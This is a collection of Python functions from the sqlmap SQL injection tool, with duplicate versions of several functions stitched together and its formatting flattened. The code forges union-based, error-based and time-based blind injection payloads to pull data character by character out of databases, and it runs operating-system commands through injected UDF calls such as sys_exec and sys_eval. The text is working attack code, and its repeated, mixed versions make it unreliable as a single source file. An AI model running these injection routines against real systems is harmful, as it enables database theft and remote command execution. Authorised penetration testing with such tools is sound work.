def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'" if unescaper.escape(pivotValue, False) != pivotValue else "%s", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) query = agent.whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))
def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)): if selectTopExpr: query = selectTopExpr.group(1) elif selectDistinctExpr: query = selectDistinctExpr.group(1) elif selectFromExpr: query = selectFromExpr.group(1) elif selectExpr: query = selectExpr.group(1) else: query = expression if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(query, lengthQuery % query, 1) else: lengthExpr = lengthQuery % expression return unescaper.escape(lengthExpr)
def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result
def udfExecCmd(self, cmd, silent=False, udfName=None): if udfName is None: udfName = "sys_exec" cmd = unescaper.escape(self.udfForgeCmd(cmd)) return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: udfName = "sys_eval" if conf.direct: output = self.udfExecCmd(cmd, udfName=udfName) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: new_output += line.replace("\r", "\n") output = new_output else: cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = unArrayizeValue( inject.getValue( "SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False, ) ) inject.goStacked("DELETE FROM %s" % self.cmdTblName) return output
def prefixQuery(self, expression, prefix=None, where=None, clause=None): """ This method defines how the input expression has to be escaped to perform the injection depending on the injection type identified as valid """ if conf.direct: return self.payloadDirect(expression) if expression is None: return None expression = self.cleanupPayload(expression) expression = unescaper.escape(expression) query = None if where is None and kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where # If we are replacing (<where>) the parameter original value with # our payload do not prepend with the prefix if where == PAYLOAD.WHERE.REPLACE: query = "" # If the technique is stacked queries (<stype>) do not put a space # after the prefix or it is in GROUP BY / ORDER BY (<clause>) elif kb.technique == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]: query = kb.injection.prefix elif clause == [2, 3] or clause == [2] or clause == [3]: query = prefix # In any other case prepend with the full prefix else: query = kb.injection.prefix or prefix or "" if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False)) if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) return query
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: # Prepare expression with delimiters injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None # Forge the union SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) # Parse the returned page to get the exact union-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal) else: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) return retVal
def _(pivotValue): if(conf.noEscape): escapedpivot = "'%s'" % pivotValue else: escapedpivot = unescaper.escape(pivotValue, False) if column == colList[0]: query = dumpNode.query.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), escapedpivot) else: query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), escapedpivot) query = whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))
def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) if selectTopExpr: lengthExpr = lengthQuery % ("(%s)" % expression) elif select: lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1) else: lengthExpr = lengthQuery % expression return unescaper.escape(lengthExpr)
def prefixQuery(self, expression, prefix=None, where=None, clause=None): """ This method defines how the input expression has to be escaped to perform the injection depending on the injection type identified as valid """ if conf.direct: return self.payloadDirect(expression) expression = self.cleanupPayload(expression) expression = unescaper.escape(expression) query = None if where is None and kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where # If we are replacing (<where>) the parameter original value with # our payload do not prepend with the prefix if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: query = "" # If the technique is stacked queries (<stype>) do not put a space # after the prefix or it is in GROUP BY / ORDER BY (<clause>) elif kb.technique == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]: query = kb.injection.prefix elif clause == [2, 3] or clause == [2] or clause == [3]: query = prefix # In any other case prepend with the full prefix else: query = kb.injection.prefix or prefix or "" if ( not (expression and expression[0] == ";") and not (query and query[-1] in ("(", ")") and expression and expression[0] in ("(", ")")) and not (query and query[-1] == "(") ): query += " " query = "%s%s" % (query, expression) return query
def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) return not result
def cleanupPayload(self, payload, origValue=None): if payload is None: return _ = ( ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop), ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar), ("[HASH_REPLACE]", kb.chars.hash_), ) payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) if origValue is not None: payload = payload.replace( "[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue) ) if "[INFERENCE]" in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) else: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) return payload
def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression) if any((selectTopExpr, selectFromExpr, selectExpr)): query = fieldsStr else: query = expression if select: lengthExpr = expression.replace(query, lengthQuery % query, 1) else: lengthExpr = lengthQuery % expression return unescaper.escape(lengthExpr)
def cleanupPayload(self, payload, origValue=None): if payload is None: return replacements = ( ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop), ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar), ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT) ) payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload) for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)): payload = payload.replace(_, randomStr()) if origValue is not None: origValue = getUnicode(origValue) if "[ORIGVALUE]" in payload: payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[ORIGINAL]" in payload: payload = getUnicode(payload).replace("[ORIGINAL]", origValue) if INFERENCE_MARKER in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace(INFERENCE_MARKER, inferenceQuery) elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) return payload
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [ _ for _ in threadData.shared.value if _ is not None ][-1] except IndexError: lastChar = None else: if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) falsePayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: unexpectedCode |= threadData.lastCode not in ( getTechniqueData().falseCode, getTechniqueData().trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if not isinstance(charTbl, xrange): charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode ) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s" % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms( ) raise SqlmapUnsupportedFeatureException(errMsg) candidates = list(originalTbl) bit = 0 while len(candidates) > 1: bits = {} for candidate in candidates: bit = 0 while candidate: bits.setdefault(bit, 0) bits[bit] += 1 if candidate & 1 else -1 candidate >>= 1 bit += 1 choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] mask = 1 << choice forgedPayload = safeStringFormat( payload.replace( INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: candidates = [_ for _ in candidates if _ & mask > 0] else: candidates = [_ for _ in candidates if _ & mask == 0] bit += 1 if candidates: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(candidates[0])
def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 rotator = 0 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL) ) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue( _oneShotErrorUse(testQuery, chunkTest=True)) if (result or "").startswith(testChar): if result == testChar * current: kb.errorChunkLength = current break else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) current = candidate if candidate != current else current - 1 else: current = current / 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start if field: nulledCastedField = agent.nullAndCastField(field) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any( _ in field for _ in ("COUNT", "CASE") ) and kb.errorChunkLength and not chunkTest: extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace( field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub( r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce( lambda x, y: x if x is not None else y, (extractRegexResult(check, page), extractRegexResult( check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), extractRegexResult( check, listToStrValue(( headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower() ) if headers else None)), extractRegexResult( check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), None) if output is not None: output = getUnicode(output) else: trimmed = ( extractRegexResult(trimcheck, page) or extractRegexResult( trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or extractRegexResult( trimcheck, listToStrValue(( headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower() ) if headers else None)) or extractRegexResult( trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[: 2] output = extractRegexResult( check, trimmed, re.IGNORECASE) if not output: check = "(?P<result>[^\s<>'\"]+)" output = extractRegexResult( check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len( output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if output and conf.verbose in (1, 2) and not conf.api: if kb.fileReadMode: dataToStdout( _formatPartialContent(output).replace( r"\n", "\n").replace(r"\t", "\t")) elif offset > 1: rotator += 1 if rotator >= len(ROTATING_CHARS): rotator = 0 dataToStdout("\r%s\r" % ROTATING_CHARS[rotator]) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, str): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) if result and testChar in result: if result == testChar * current: kb.errorChunkLength = current break else: current = len(result) - len(kb.chars.stop) else: current = current / 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = "(?P<result>.*?)%s" % kb.chars.stop[:2] output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: check = "(?P<result>[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if kb.fileReadMode and output: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
